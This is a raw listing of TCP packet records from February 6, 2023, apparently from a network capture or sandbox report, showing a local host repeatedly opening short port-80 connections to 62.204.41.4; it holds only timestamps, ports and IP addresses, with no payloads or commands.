Feb 6, 2023 14:17:05.212642908 CET	49775	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:05.212711096 CET	80	49776	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:05.212810040 CET	49776	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:05.213337898 CET	49776	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:05.273991108 CET	80	49776	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:05.276880980 CET	80	49776	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:05.277014017 CET	49776	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:05.392368078 CET	49776	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:05.393290997 CET	49777	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:05.455802917 CET	80	49776	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:05.455836058 CET	80	49777	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:05.456008911 CET	49776	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:05.456011057 CET	49777	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:05.460295916 CET	49777	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:05.522008896 CET	80	49777	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:05.525388002 CET	80	49777	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:05.525757074 CET	49777	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:05.642055988 CET	49777	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:05.643088102 CET	49778	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:05.704395056 CET	80	49778	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:05.704498053 CET	49778	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:05.705310106 CET	80	49777	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:05.705506086 CET	49777	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:05.707869053 CET	49778	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:05.769531012 CET	80	49778	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:05.772675037 CET	80	49778	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:05.772810936 CET	49778	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:05.876166105 CET	49778	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:05.876909018 CET	49779	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:05.935687065 CET	80	49778	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:05.935776949 CET	49778	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:05.940877914 CET	80	49779	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:05.941008091 CET	49779	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:05.941637993 CET	49779	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:06.004420996 CET	80	49779	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:06.007407904 CET	80	49779	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:06.007627010 CET	49779	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:06.110688925 CET	49779	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:06.112150908 CET	49780	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:06.174523115 CET	80	49780	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:06.174715996 CET	49780	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:06.174736023 CET	80	49779	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:06.174823046 CET	49779	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:06.175417900 CET	49780	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:06.240854979 CET	80	49780	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:06.244282007 CET	80	49780	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:06.244369030 CET	49780	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:06.360852003 CET	49780	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:06.361788988 CET	49781	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:06.423257113 CET	80	49780	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:06.424561977 CET	49780	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:06.424778938 CET	80	49781	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:06.428705931 CET	49781	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:06.429229975 CET	49781	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:06.491679907 CET	80	49781	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:06.494554043 CET	80	49781	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:06.494779110 CET	49781	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:06.610232115 CET	49781	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:06.611282110 CET	49782	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:06.673382044 CET	80	49781	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:06.673590899 CET	49781	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:06.674304008 CET	80	49782	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:06.678617001 CET	49782	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:06.679140091 CET	49782	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:06.740463018 CET	80	49782	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:06.743294001 CET	80	49782	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:06.743462086 CET	49782	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:06.863661051 CET	49782	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:06.864543915 CET	49783	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:06.925252914 CET	80	49782	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:06.925321102 CET	80	49783	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:06.925474882 CET	49782	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:06.925510883 CET	49783	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:06.930392027 CET	49783	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:06.995218039 CET	80	49783	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:06.997920990 CET	80	49783	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:07.000576019 CET	49783	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:07.111515045 CET	49783	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:07.113764048 CET	49784	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:07.176585913 CET	80	49784	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:07.176915884 CET	49784	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:07.177697897 CET	49784	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:07.245680094 CET	80	49784	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:07.251141071 CET	80	49784	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:07.252835035 CET	49784	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:07.362797976 CET	49784	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:07.363770008 CET	49785	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:07.421946049 CET	49783	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:07.425004005 CET	80	49785	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:07.425034046 CET	80	49784	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:07.425126076 CET	49785	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:07.425146103 CET	49784	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:07.425626040 CET	49785	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:07.482996941 CET	80	49783	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:07.483131886 CET	49783	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:07.488046885 CET	80	49785	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:07.490989923 CET	80	49785	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:07.491208076 CET	49785	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:07.610380888 CET	49785	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:07.615708113 CET	49786	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:07.671773911 CET	80	49785	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:07.672020912 CET	49785	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:07.677424908 CET	80	49786	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:07.677694082 CET	49786	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:07.678071022 CET	49786	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:07.738620043 CET	80	49786	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:07.741566896 CET	80	49786	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:07.741730928 CET	49786	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:07.849625111 CET	49786	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:07.850739002 CET	49787	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:07.910303116 CET	80	49786	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:07.910470963 CET	49786	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:07.911362886 CET	80	49787	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:07.911516905 CET	49787	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:07.919083118 CET	49787	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:07.979466915 CET	80	49787	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:07.982109070 CET	80	49787	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:07.982188940 CET	49787	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:08.102776051 CET	49787	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:08.104127884 CET	49788	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:08.406497002 CET	49787	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:08.467871904 CET	80	49787	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:08.467972994 CET	49787	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:11.109803915 CET	49788	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:11.170314074 CET	80	49788	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:11.170448065 CET	49788	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:11.171370983 CET	49788	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:11.231776953 CET	80	49788	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:11.237281084 CET	80	49788	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:11.237368107 CET	49788	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:11.348392010 CET	49788	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:11.349222898 CET	49789	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:11.409426928 CET	80	49789	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:11.409514904 CET	49789	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:11.409609079 CET	80	49788	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:11.409670115 CET	49788	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:11.410183907 CET	49789	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:11.470989943 CET	80	49789	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:11.474111080 CET	80	49789	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:11.474240065 CET	49789	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:11.583306074 CET	49789	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:11.584373951 CET	49790	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:11.644036055 CET	80	49789	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:11.644154072 CET	49789	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:11.646225929 CET	80	49790	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:11.646317005 CET	49790	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:11.646769047 CET	49790	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:11.711885929 CET	80	49790	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:11.715131998 CET	80	49790	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:11.715230942 CET	49790	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:11.835123062 CET	49790	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:11.836097002 CET	49791	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:11.896828890 CET	80	49790	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:11.896905899 CET	49790	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:11.897886038 CET	80	49791	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:11.897974968 CET	49791	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:11.901330948 CET	49791	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:11.963087082 CET	80	49791	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:11.967792034 CET	80	49791	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:11.967909098 CET	49791	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:12.106404066 CET	49791	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:12.107289076 CET	49792	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:12.167783022 CET	80	49791	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:12.167813063 CET	80	49792	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:12.167960882 CET	49791	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:12.168013096 CET	49792	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:12.357233047 CET	49792	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:12.417798996 CET	80	49792	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:12.424122095 CET	80	49792	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:12.425816059 CET	49792	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:12.622474909 CET	49792	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:12.623368025 CET	49793	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:12.683250904 CET	80	49792	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:12.683415890 CET	49792	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:12.685213089 CET	80	49793	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:12.689105034 CET	49793	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:12.843597889 CET	49793	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:12.905076981 CET	80	49793	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:12.909478903 CET	80	49793	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:12.913459063 CET	49793	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:13.402918100 CET	49793	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:13.404103994 CET	49794	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:13.464839935 CET	80	49794	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:13.465080976 CET	49794	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:13.465534925 CET	80	49793	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:13.465646029 CET	49793	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:14.531024933 CET	49794	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:14.591113091 CET	80	49794	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:14.596820116 CET	80	49794	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:14.596996069 CET	49794	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:14.881688118 CET	49794	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:14.882441998 CET	49795	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:14.942137003 CET	80	49795	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:14.942313910 CET	49795	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:14.942679882 CET	80	49794	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:14.942764997 CET	49794	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:14.968803883 CET	49795	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:15.028953075 CET	80	49795	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:15.033853054 CET	80	49795	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:15.034009933 CET	49795	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:16.305886030 CET	49795	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:16.306834936 CET	49796	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:16.365931034 CET	80	49795	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:16.366108894 CET	49795	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:16.369991064 CET	80	49796	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:16.370162964 CET	49796	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:16.378789902 CET	49796	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:16.443227053 CET	80	49796	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:16.448314905 CET	80	49796	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:16.448484898 CET	49796	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:16.848431110 CET	49796	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:16.849095106 CET	49797	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:16.910526037 CET	80	49797	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:16.910620928 CET	49797	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:16.911340952 CET	80	49796	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:16.911714077 CET	49797	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:16.913182974 CET	49796	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:16.973987103 CET	80	49797	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:16.977150917 CET	80	49797	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:16.977236032 CET	49797	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:17.099545002 CET	49797	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:17.100147963 CET	49798	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:17.161617041 CET	80	49797	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:17.161678076 CET	80	49798	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:17.166754961 CET	49797	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:17.166779995 CET	49798	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:17.167239904 CET	49798	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:17.228669882 CET	80	49798	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:17.233485937 CET	80	49798	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:17.233670950 CET	49798	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:17.354162931 CET	49798	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:17.355052948 CET	49799	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:17.415807009 CET	80	49798	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:17.416155100 CET	49798	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:17.416445971 CET	80	49799	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:17.416944027 CET	49799	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:17.417285919 CET	49799	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:17.478570938 CET	80	49799	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:17.481492043 CET	80	49799	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:17.482595921 CET	49799	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:17.592940092 CET	49799	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:17.593777895 CET	49800	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:17.654216051 CET	80	49799	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:17.654253006 CET	80	49800	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:17.654423952 CET	49799	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:17.654455900 CET	49800	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:17.654881954 CET	49800	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:17.715394020 CET	80	49800	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:17.718599081 CET	80	49800	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:17.718755007 CET	49800	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:17.833981037 CET	49800	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:17.835361004 CET	49801	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:17.894861937 CET	80	49800	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:17.895903111 CET	80	49801	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:17.901659012 CET	49800	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:17.901683092 CET	49801	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:17.902349949 CET	49801	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:17.963226080 CET	80	49801	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:17.965825081 CET	80	49801	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:17.966022968 CET	49801	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:18.075246096 CET	49801	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:18.076359987 CET	49802	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:18.136271000 CET	80	49801	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:18.137939930 CET	80	49802	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:18.143631935 CET	49801	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:18.143713951 CET	49802	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:18.144256115 CET	49802	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:18.205761909 CET	80	49802	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:18.215267897 CET	80	49802	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:18.215516090 CET	49802	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:18.333969116 CET	49802	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:18.334983110 CET	49803	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:18.395593882 CET	80	49802	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:18.395658016 CET	80	49803	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:18.395817041 CET	49802	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:18.395865917 CET	49803	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:18.396344900 CET	49803	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:18.456655025 CET	80	49803	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:18.459352970 CET	80	49803	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:18.468831062 CET	49803	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:18.573024035 CET	49803	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:18.573918104 CET	49804	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:18.633579016 CET	80	49803	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:18.634407997 CET	80	49804	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:18.638003111 CET	49803	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:18.638019085 CET	49804	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:18.644414902 CET	49804	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:18.705710888 CET	80	49804	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:18.708070993 CET	80	49804	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:18.708230972 CET	49804	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:18.814786911 CET	49804	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:18.815532923 CET	49805	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:18.874985933 CET	80	49805	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:18.875169039 CET	80	49804	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:18.877907991 CET	49804	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:18.878112078 CET	49805	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:18.884453058 CET	49805	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:18.944061995 CET	80	49805	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:18.946724892 CET	80	49805	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:18.946914911 CET	49805	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:19.054881096 CET	49805	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:19.055795908 CET	49806	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:19.114453077 CET	80	49805	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:19.114636898 CET	49805	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:19.118371010 CET	80	49806	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:19.119038105 CET	49806	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:19.119476080 CET	49806	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:19.181876898 CET	80	49806	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:19.188005924 CET	80	49806	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:19.192627907 CET	49806	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:19.326853991 CET	49806	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:19.327749968 CET	49807	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:19.390597105 CET	80	49806	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:19.390913010 CET	80	49807	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:19.392291069 CET	49806	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:19.392334938 CET	49807	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:19.395600080 CET	49807	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:19.458412886 CET	80	49807	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:19.461359978 CET	80	49807	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:19.461500883 CET	49807	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:19.565996885 CET	49807	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:19.567210913 CET	49808	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:19.627763033 CET	80	49808	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:19.628592968 CET	80	49807	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:19.636032104 CET	49807	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:19.636090994 CET	49808	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:19.636620998 CET	49808	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:19.697011948 CET	80	49808	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:19.700081110 CET	80	49808	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:19.700371027 CET	49808	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:19.816787004 CET	49808	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:19.817754984 CET	49809	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:19.877335072 CET	80	49808	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:19.877527952 CET	49808	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:19.878233910 CET	80	49809	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:19.878371000 CET	49809	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:19.879292965 CET	49809	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:19.940009117 CET	80	49809	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:19.942990065 CET	80	49809	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:19.951071978 CET	49809	80	192.168.2.5	62.204.41.4
